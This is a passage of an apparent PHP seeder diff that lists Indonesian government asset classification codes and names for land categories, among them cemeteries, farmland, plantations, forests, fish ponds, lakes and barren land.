'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'EMPLASMEN', + ], + [ + 'id_aset' => 17, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'EMPLASMEN', + ], + [ + 'id_aset' => 18, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'EMPLASMEN LAINNYA', + ], + [ + 'id_aset' => 19, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH KUBURAN', + ], + [ + 'id_aset' => 20, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH KUBURAN ISLAM', + ], + [ + 'id_aset' => 21, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH KUBURAN KRISTEN', + ], + [ + 'id_aset' => 22, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH KUBURAN CINA', + ], + [ + 'id_aset' => 23, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH KUBURAN HINDU', + ], + [ + 'id_aset' => 24, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH KUBURAN BUDHA', + ], + [ + 'id_aset' => 25, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH MAKAM PAHLAWAN', + ], + [ + 'id_aset' => 26, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH KUBURAN TEMPAT BENDA BERSEJARAH', + ], + [ + 'id_aset' => 27, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAH MAKAM UMUM/KUBURAN UMUM', + ], + [ + 'id_aset' => 28, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH KUBURAN LAINNYA', + ], + [ + 'id_aset' => 29, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PERTANIAN', + ], + [ + 'id_aset' => 30, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'SAWAH SATU TAHUN DITANAMI', + ], + [ + 'id_aset' => 31, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'SAWAH DITANAMI PADI', + ], + [ + 'id_aset' => 32, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'SAWAH DITANAMI PALAWIJA', + ], + [ + 'id_aset' => 33, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'SAWAH DITANAMI TEBU', + ], + [ + 'id_aset' => 34, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'SAWAH DITANAMI SAYURAN', + ], + [ + 'id_aset' => 35, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'SAWAH DITANAMI TEMBAKAU', + ], + [ + 'id_aset' => 36, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'SAWAH DITANAMI ROSELLA', + ], + [ + 'id_aset' => 37, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'SAWAH DITANAMI LAINNYA', + ], + [ + 'id_aset' => 38, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH KERING/TEGALAN', + ], + [ + 'id_aset' => 39, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH KERING DITANAMI BUAH-BUAHAN', + ], + [ + 'id_aset' => 40, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH KERING DITANAMI TEMBAKAU', + ], + [ + 'id_aset' => 41, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH KERING DITANAMI JAGUNG', + ], + [ + 'id_aset' => 42, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH KERING DITANAMI KETELA POHON', + ], + [ + 'id_aset' => 43, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH KERING DITANAMI KACANG TANAH', + ], + [ + 'id_aset' => 44, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH KERING DITANAMI KACANG HIJAU', + ], + [ + 'id_aset' => 45, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH KERING DITANAMI KEDELAI', + ], + [ + 'id_aset' => 46, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAH KERING DITANAMI UBI JALAR', + ], + [ + 'id_aset' => 47, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANAH KERING DITANAMI KELADI', + ], + [ + 'id_aset' => 48, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH KERING DITANAMI LAINNYA', + ], + [ + 'id_aset' => 49, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'LADANG', + ], + [ + 'id_aset' => 50, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'LADANG PADI', + ], + [ + 'id_aset' => 51, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'LADANG JAGUNG', + ], + [ + 'id_aset' => 52, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'LADANG KETELA POHON', + ], + [ + 'id_aset' => 53, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'LADANG KACANG TANAH', + ], + [ + 'id_aset' => 54, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'LADANG KACANG HIJAU', + ], + [ + 'id_aset' => 55, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'LADANG KEDELAI', + ], + [ + 'id_aset' => 56, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'LADANG UBI JALAR', + ], + [ + 'id_aset' => 57, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'LADANG KELADI', + ], + [ + 'id_aset' => 58, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '009', + 'nama' => 'LADANG BENGKUANG', + ], + [ + 'id_aset' => 59, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '010', + 'nama' => 'LADANG APEL', + ], + [ + 'id_aset' => 60, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '011', + 'nama' => 'LADANG KENTANG', + ], + [ + 'id_aset' => 61, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '012', + 'nama' => 'LADANG JERUK', + ], + [ + 'id_aset' => 62, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'LADANG LAINNYA', + ], + [ + 'id_aset' => 63, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PERKEBUNAN', + ], + [ + 'id_aset' => 64, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PERKEBUNAN', + ], + [ + 'id_aset' => 65, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH PERKEBUNAN KARET', + ], + [ + 'id_aset' => 66, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH PERKEBUNAN KOPI', + ], + [ + 'id_aset' => 67, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH PERKEBUNAN KELAPA', + ], + [ + 'id_aset' => 68, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH PERKEBUNAN RANDU', + ], + [ + 'id_aset' => 69, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH PERKEBUNAN LADA', + ], + [ + 'id_aset' => 70, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH PERKEBUNAN TEH', + ], + [ + 'id_aset' => 71, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH PERKEBUNAN KINA', + ], + [ + 'id_aset' => 72, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAH PERKEBUNAN COKLAT', + ], + [ + 'id_aset' => 73, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANAH PERKEBUNAN KELAPA SAWIT', + ], + [ + 'id_aset' => 74, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'TANAH PERKEBUNAN SEREH', + ], + [ + 'id_aset' => 75, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'TANAH PERKEBUNAN CENGKEH', + ], + [ + 'id_aset' => 76, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'TANAH PERKEBUNAN PALA', + ], + [ + 'id_aset' => 77, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '013', + 'nama' => 'TANAH PERKEBUNAN SAGU', + ], + [ + 'id_aset' => 78, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '014', + 'nama' => 'TANAH PERKEBUNAN JAMBU MENTE', + ], + [ + 'id_aset' => 79, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '015', + 'nama' => 'TANAH PERKEBUNAN TENGKAWANG', + ], + [ + 'id_aset' => 80, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '016', + 'nama' => 'TANAH PERKEBUNAN MINYAK KAYU PUTIH', + ], + [ + 'id_aset' => 81, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '017', + 'nama' => 'TANAH PERKEBUNAN KAYU MANIS', + ], + [ + 'id_aset' => 82, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '018', + 'nama' => 'TANAH PERKEBUNAN PETAI', + ], + [ + 'id_aset' => 83, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH PERKEBUNAN LAINNYA', + ], + [ + 'id_aset' => 84, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH HUTAN', + ], + [ + 'id_aset' => 85, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH HUTAN LEBAT (DITANAMI JENIS KAYU UTAMA)', + ], + [ + 'id_aset' => 86, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH HUTAN MERANTI', + ], + [ + 'id_aset' => 87, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH HUTAN RASAMALA', + ], + [ + 'id_aset' => 88, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH HUTAN BULIAN', + ], + [ + 'id_aset' => 89, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH HUTAN MEDANG', + ], + [ + 'id_aset' => 90, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH HUTAN JELUTUNG', + ], + [ + 'id_aset' => 91, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH HUTAN RAMIN', + ], + [ + 'id_aset' => 92, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH HUTAN PUSPA', + ], + [ + 'id_aset' => 93, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAH HUTAN SUNINTEM', + ], + [ + 'id_aset' => 94, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANAH HUTAN ALBENIA', + ], + [ + 'id_aset' => 95, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'TANAH HUTAN KAYU BESI/ULIN', + ], + [ + 'id_aset' => 96, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'HUTAN LEBAT LAINNYA', + ], + [ + 'id_aset' => 97, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH HUTAN BELUKAR', + ], + [ + 'id_aset' => 98, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH HUTAN SEMAK-SEMAK', + ], + [ + 'id_aset' => 99, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'HUTAN BELUKAR', + ], + [ + 'id_aset' => 100, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'HUTAN BELUKAR LAINNYA', + ], + [ + 'id_aset' => 101, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'HUTAN TANAMAN JENIS', + ], + [ + 'id_aset' => 102, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'HUTAN TANAMAN JATI', + ], + [ + 'id_aset' => 103, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'HUTAN TANAMAN PINUS', + ], + [ + 'id_aset' => 104, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'HUTAN TANAMAN ROTAN', + ], + [ + 'id_aset' => 105, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'HUTAN TANAMAN JENIS LAINNYA', + ], + [ + 'id_aset' => 106, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'HUTAN ALAM SEJENIS/HUTAN RAWA', + ], + [ + 'id_aset' => 107, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'HUTAN BAKAU', + ], + [ + 'id_aset' => 108, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'HUTAN CEMARA (YANG TIDAK DITANAMAN)', + ], + [ + 'id_aset' => 109, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'HUTAN GALAM', + ], + [ + 'id_aset' => 110, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'HUTAN NIPAH', + ], + [ + 'id_aset' => 111, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'HUTAN BAMBU', + ], + [ + 'id_aset' => 112, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'HUTAN ROTAN', + ], + [ + 'id_aset' => 113, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'HUTAN ALAM SEJENIS LAINNYA', + ], + [ + 'id_aset' => 114, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'HUTAN UNTUK PENGGUNAAN KHUSUS', + ], + [ + 'id_aset' => 115, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'HUTAN CADANGAN', + ], + [ + 'id_aset' => 116, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'HUTAN LINDUNG', + ], + [ + 'id_aset' => 117, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'HUTAN CAGAR ALAM', + ], + [ + 'id_aset' => 118, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'HUTAN TAMAN WISATA', + ], + [ + 'id_aset' => 119, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'HUTAN TAMAN BURUNG', + ], + [ + 'id_aset' => 120, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'HUTAN SUAKA MARGA SATWA', + ], + [ + 'id_aset' => 121, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'HUTAN TAMAN NASIONAL', + ], + [ + 'id_aset' => 122, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'HUTAN PRODUKSI', + ], + [ + 'id_aset' => 123, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'HUTAN UNTUK PENGGUNAAN KHUSUS LAINNYA', + ], + [ + 'id_aset' => 124, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '06', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH KEBUN CAMPURAN', + ], + [ + 'id_aset' => 125, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH YANG TIDAK ADA JARINGAN PENGAIRAN', + ], + [ + 'id_aset' => 126, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAMAN RUPA-RUPA', + ], + [ + 'id_aset' => 127, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH KEBUN CAMPURAN LAINNYA', + ], + [ + 'id_aset' => 128, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'TUMBUH LIAR BERCAMPUR JENIS LAIN', + ], + [ + 'id_aset' => 129, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'JENIS TANAMAN RUPA-RUPA & TIDAK JELAS MANA YANG MENONJOL', + ], + [ + 'id_aset' => 130, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAMAN LUAR PERKARANGAN', + ], + [ + 'id_aset' => 131, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'TUMBUH LIAR BERCAMPUR JENIS LAINNYA', + ], + [ + 'id_aset' => 132, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '07', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH KOLAM IKAN', + ], + [ + 'id_aset' => 133, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TAMBAK', + ], + [ + 'id_aset' => 134, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TAMBAK', + ], + [ + 'id_aset' => 135, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TAMBAK LAINNYA', + ], + [ + 'id_aset' => 136, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '07', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'AIR TAWAR', + ], + [ + 'id_aset' => 137, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '07', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'KOLAM AIR TAWAR', + ], + [ + 'id_aset' => 138, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '07', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'AIR TAWAR LAINNYA', + ], + [ + 'id_aset' => 139, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '08', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH DANAU / RAWA', + ], + [ + 'id_aset' => 140, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '08', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'RAWA', + ], + [ + 'id_aset' => 141, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '08', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'RAWA', + ], + [ + 'id_aset' => 142, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '08', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'RAWA LAINNYA', + ], + [ + 'id_aset' => 143, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '08', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'DANAU', + ], + [ + 'id_aset' => 144, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '08', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'SANAU/SITU', + ], + [ + 'id_aset' => 145, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '08', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'WADUK', + ], + [ + 'id_aset' => 146, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '08', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'DANAU LAINNYA', + ], + [ + 'id_aset' => 147, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH TANDUS / RUSAK', + ], + [ + 'id_aset' => 148, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH TANDUS', + ], + [ + 'id_aset' => 149, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'BERBATU-BATU', + ], + [ + 'id_aset' => 150, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'LONGSOR', + ], + [ + 'id_aset' => 151, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH LAHAR', + ], + [ + 'id_aset' => 152, + 'golongan' => '2', + 